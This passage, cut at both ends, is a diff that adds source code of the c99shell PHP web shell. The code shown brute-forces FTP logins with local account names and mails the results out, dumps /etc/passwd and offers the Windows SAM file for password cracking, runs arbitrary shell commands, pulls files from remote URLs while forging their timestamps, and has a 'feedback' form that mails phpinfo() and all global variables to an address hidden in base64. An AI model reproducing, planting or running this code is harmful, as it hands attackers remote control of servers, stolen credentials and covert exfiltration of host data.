H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} +if ($act == "security") +{ + echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} + if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = true; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "update") {$ret = c99sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} +if ($act == "feedback") +{ + $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} +if ($act == "search") +{ + echo "<b>Search in file-system:</b><br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = true; + $act = "ls"; + } + } + echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = true; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = false; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = false; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = true;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== false) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a 